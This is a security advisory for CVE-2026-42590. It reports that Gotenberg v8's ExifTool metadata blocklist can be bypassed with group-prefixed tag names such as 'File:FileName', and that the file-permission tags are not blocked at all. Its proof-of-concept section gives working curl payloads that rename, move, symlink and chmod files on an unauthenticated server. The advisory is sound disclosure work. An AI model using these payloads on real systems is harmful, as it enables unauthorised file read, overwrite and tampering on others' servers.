CVE-2026-42590

**Summary** The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m. **Details** The blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching. The `safeKeyPattern` regex (`^[a-zA-Z0-9\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc. Additionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix. **PoC** ```bash # Rename the converted PDF (bypasses FileName blocklist) curl -F "files=@test.pdf" \ -F 'metadata={"File:FileName":"pwned.pdf"}' \ http://localhost:3000/forms/pdfengines/metadata/write # Move the file to /tmp (bypasses Directory blocklist) curl -F "files=@test.pdf" \ -F 'metadata={"File:Directory":"/tmp"}' \ http://localhost:3000/forms/pdfengines/metadata/write # Create a symlink (bypasses SymLink blocklist) curl -F "files=@test.pdf" \ -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \ http://localhost:3000/forms/pdfengines/metadata/write # Change file permissions (not blocked at all) curl -F "files=@test.pdf" \ -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \ http://localhost:3000/forms/pdfengines/metadata/write ``` **Impact** Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation. This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist in github.com/gotenberg/gotenberg